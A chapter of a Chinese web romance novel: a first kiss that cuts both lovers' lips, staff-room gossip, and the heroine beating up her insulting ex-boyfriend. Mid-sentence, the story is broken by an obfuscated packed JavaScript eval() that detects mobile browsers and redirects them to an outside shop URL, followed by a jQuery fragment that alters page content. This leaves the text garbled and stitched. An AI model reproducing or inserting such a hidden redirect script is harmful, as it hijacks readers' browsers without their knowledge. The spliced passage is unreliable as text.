14. 还说吗
    简沐一下子也觉得身上热的不行。

    她的唇抿到傅雁鸣的指尖时,她心尖都像是跟着一颤。

    从未有过的急促心跳,让她第一回感受到了她写在文中的一系列夸张激情词汇……原来世上真有这样力道的悸动。

    她一直觉得,从小单亲家庭长大,她对爱情大约具有某种免疫力。

    之前跟贺宇风相处起来,也觉得不过是温情关切更多一点罢了……从没这样心跳如雷。

    “小沐,”

    这时候傅雁鸣又暗哑唤道,“我能亲一下你吗?”

    简沐拼力调匀着自己的呼吸,尽力不显得慌乱,强行淡定地轻轻嗯了一声。

    傅雁鸣在黑暗中半撑起上身,像是十分小心一样在夜色中轻轻探寻着简沐的唇。

    但两人的唇轻触在一起的一刹那,简沐明显地察觉到傅雁鸣整个人似乎一僵。

    想到傅雁鸣的洁癖,简沐平静地等着他“应激”。

    毕竟不管怎么说,她是坚决不可能答应,傅雁鸣往她唇上喷消毒水的。

    他如果实在下不去嘴……

    那这吻也就算了。

    这时,傅雁鸣却像是怕碰碎什么似的,越发轻微地来回拿唇蹭了一下她的唇。

    不等简沐再想什么,傅雁鸣呼吸突然急促起来,猛地将唇紧紧压在了她唇上,透着十分强势又生疏急迫的攫取之意。

    简沐第一个反应,竟觉得他这动作像是一头饿极了的猛兽,在想要撕咬猎物一样……

    简直不给人留活路的那种。

    “唔……”

    简沐觉得自己实在是要被憋死了,忍不住略一挣扎,想要呼吸一下新鲜空气。

    只是屋子里太黑了。

    她一挣扎,像是惊醒了狂乱中的傅雁鸣,他不知怎么也动了一下,结果两人“铿——”的一声,唇齿撞在了一起。

    简沐瞬间感受到了唇上的一丝血腥,疼的她不由蹙了一下眉,但还是忍着没吭声。

    因为她觉得自己的牙齿,貌似也撞在了傅雁鸣唇上什么地方,不会比她好多少。

    “嘶……”

    果然傅雁鸣轻嘶一声。

    紧接着傅雁鸣转身过去,伸手抓起遥控打开了小灯。

    柔和的光线下,两人看着对方的样子,一时都楞了一下。

    “你——别动别动,”

    傅雁鸣拿拇指在他自己唇上蹭一下,动作很快下了床道,“我去给你拿棉签蘸一下——你嘴上破了一点皮。”

    “不用,不用,”

    简沐也跟着下了床,走到主卧的浴室这边,打开灯对着镜子看了看,果然下唇上破了一块,有点渗血,“不要紧,我洗一下很快就不渗了——”

    说着她一边拿水冲了一下一边又往傅雁鸣这边看过来,“你呢?疼不疼?”

    傅雁鸣唇上也破了一点,不过比她还轻一些。

    傅雁鸣去拿了医用棉签,过来小心往简沐唇上又蘸了蘸。

    “有碘伏,”

    傅雁鸣手里还拿着一个小瓶,神色有点紧绷,“但涂在嘴上感觉会不适——”

    “不用涂这个——”

    简沐没忍住有点想笑,结果一扯嘴角才拿棉签压过不怎么渗血的唇,又开始往外渗了。

    “别笑……”

    傅雁鸣拿着一手拿着棉签,一手拿着小瓶,没忍住像是也牵起了嘴角,牵扯到唇上的破口,他不由眯了眯眼。

    “这点小破——”

    简沐话没说完顿住了。

    她这时才留意到傅雁鸣的脸色:异常的苍白,额上竟然已经满是细汗,连手都开始有了轻微的颤抖。

    “你不舒服吗?”

    简沐顿时紧张起来。

    傅雁鸣机械地摇了摇头,紧抓着手里的东西,忽而张开双臂狠狠将简沐抱在了怀里。

    抱住简沐后,他整个人呼吸似乎都停了,身形紧绷的像个木头人一样。

    “怎么了?”

    简沐想要挣脱开,好去给他倒杯水缓缓,却发现他这时候力道大的令人吃惊。

    这状态……想到听讲座那一天的事情,简沐心里一突,傅雁鸣该不是犯了什么旧病了?

    “雁鸣,”

    简沐飞快冷静下来,拍着傅雁鸣后背道,“别慌,别慌——你身体是有什么病吗?常吃什么药?药在哪里放着?”

    “没事,”

    傅雁鸣先是抱着她没动,过了片刻才低声道,身体却还有一些颤抖,“我没事。”

    说着,他才缓缓放开简沐又哑声道,“……是我的错。”

    “说什么呢?”

    简沐也感觉到他精神像是缓和了不少,心里疑惑,但也没在这时追问,反而轻松笑道,“我不也把你嘴唇磕破了——这也值得升堂断案判决出来了责任书吗?”

    她知道傅雁鸣这状态肯定是有什么原因,傅雁鸣之前的“应激”看出来也该是有缘故的。

    但她向来真遇到事了心里并不慌:有事就解决事情,没事自然最好。

    眼下不是追问的合适时机,她神色自然不动声色地缓缓化解,又说了两句笑话,像是傅雁鸣说没事,她就认定了他的话。

    傅雁鸣眼底的紧绷终于散退,配合简沐几句说笑间,又恢复了平时的精神。

    在简沐收拾用过的棉签时,他斜斜靠在浴室门口的门框上,深邃的眉眼中透着一种说不出的浓烈情绪。

    这是他第一次在某种程度的应激后,舒缓得最快,身心最舒服的一次。

    心里压抑的某些东西,被简沐轻飘飘几句玩笑,一下子给击溃了那种沉重一般……

    他呼吸了几下,带出几分轻松。

    两人各自又拿医用棉签压了一会儿,直到不再往外渗血,这才又收拾了一下,重新躺了回去。

    “就……”

    傅雁鸣照旧关了灯后,伸出双臂抱住了简沐,低声道,“谢谢。”

    这“谢”字来的有点莫名,但简沐还是一笑:“嗯。”

    ……

    一夜过去,第二天傅雁鸣依然一早就去上班,简沐起来,对着镜子看了看,嘴上的破口已经结了痂了。

    红肿基本消下去,就那个血痂显眼一点,像是唇上多了一颗痣。

    她周五这天没课,下午教研活动。

    她所在的文学教研室,跟语言等其他教研室活动,不在一个场所。

    教研室一共才二十位老师,都一个教研组,每次活动气氛都很轻松。

    简沐过去的时候,离着活动开始还有十几分钟。

    她先过去签了到,又去活动室柜架上抽出自己的记录本来,这才坐到了这边一个靠近门口的座位上。

    “简老师,你嘴怎么了?”

    教外国文学的张老师,正笑着跟大家说话,一转脸看到简沐时,好奇问了一声。

    张老师是文学院工会负责人,人缘很好,很能和老师们打成一片,当然也是文学院话痨兼八卦爱好者之一。

    “不小心磕破了,”

    简沐笑道,“快好了。”

    “哦哦,下回可小心点,”

    张老师忙道,“嘴上破了吃东西都不方便了哈哈——”

    简沐也跟着笑。

    “简老师,”

    这时张老师想到了什么,往简沐跟前一凑小声笑道,“昨天下午你下课的时候,听说豪车接送啊。”

    简沐:“……”

    昨天下午那一幕好多老师学生看到,也不意外张老师会听说。

    海大教职工中开好车的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207167|150992||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    人也多得是,但昨天老刘开的那车……即便在海大那些好车中,也是特别显眼。

    “哦,一个远房亲戚,”

    老刘年龄大,她说朋友不太合适,索性就随口给了老刘一个新身份,“做生意的,正好来海大找朋友办事什么的……遇上我了就叫我一起吃的饭。”

    “亲戚啊,”

    张老师明显还听说了什么别的,听到“亲戚”两个字时,她一愣继而释然笑道,“我跟你说,是亲戚就常走动着点,俗话说,三年不上门是亲也不亲——有事也好有个照应。”

    简沐笑着点头一一应了。

    等老师们都到齐开始教研室活动时,简沐敏锐地察觉到,老师们时不时眼神会落在她身上。

    简沐心里一笑。

    她并不介意别人的好奇,谁人背后无人说,随便。

    教研室活动结束,她依然是扫了一辆共享单车出来。

    等骑出海大校园时,简沐察觉到有辆车似乎在跟着自己。

    她一眼就认出那是贺宇风的车。

    “嘀嘀。”

    这时,贺宇风开车驶到了她身边,按了两下喇叭。

    简沐眯了眯眼,没理会他,骑车转过弯就到了这边小街。

    小街不宽,但路两旁有不少小吃店等店铺,吃的用的好多都是将海大学生们作为目标客户。

    不过这时间才下午四点多,街上的行人不算多。

    贺宇风开车也跟了过来。

    大约是看到简沐没有停下的意思,贺宇风的车子忽而提了一点速度,到了简沐前面后,斜斜歪停向路边。

    几乎是将简沐的车子截停在那里。

    “小沐,”

    贺宇风截停了简沐立刻就从车上下来,几步绕到简沐身前道,“我有话跟你说。”

    “贺宇风,”

    简沐静静道,“我们之间还有什么话要说?”

    “你,你傍上了一个老头?”

    贺宇风眼底透着愠怒,“你怎么,怎么这么自甘堕落!”

    “我自己的事情,跟你有什么关系,”

    简沐一挑眉,“贺宇风,你是爹味习惯了吗?想当爹回你自己的窝当去,出门在外少管闲事。”

    “简沐!”

    贺宇风恼火地吼了一声,又忙压低声音怒道,“你就这么见钱眼开?跟我时端着,转头就上了老头的床是吗?”

    简沐脸一冷,一把揪住了贺宇风的衣领。

    不想贺宇风刚叫简沐的那一声声音有点大,正好路过的几个行人被吓了一跳,看向这边时愣了愣。

    “简,简老师?”

    这几个行人明显是海大的学生,其中一个男生看看一脸怒火的贺宇风,又看着简沐结结巴巴道,“要,要我们帮忙吗?”

    “不用,”

    简沐笑得很是优雅,放开贺宇风的衣领还温柔地替他顺了顺,“你们出来逛啊——去玩吧,我跟我表弟闹着玩呢——”

    看到几个学生离开,简沐笑着又看贺宇风一眼,一抬下巴示意道,“咱们去那边说几句?”

    那边是一个关门的店铺,和另一个店铺之间,有一个通往里面街心花园的出入口。

    那边没人。

    贺宇风压着火,跟着简沐到了这边没人处。

    “小沐,我说你——”

    “嘭嘭!”

    不等贺宇风说完,简沐当胸就给了他一拳,紧接着利落又是两脚。

    嘭嘭闷响中,贺宇风还没来及反应就一个趔趄倒在了地上。

    简沐拍了一下手,拂了一下风衣的衣摆,蹲在了贺宇风面前。

    “还说吗?”

    简沐眉眼间都是不羁的笑,“我一听你说话就激动,不如你多说几句,让我也痛快痛快?”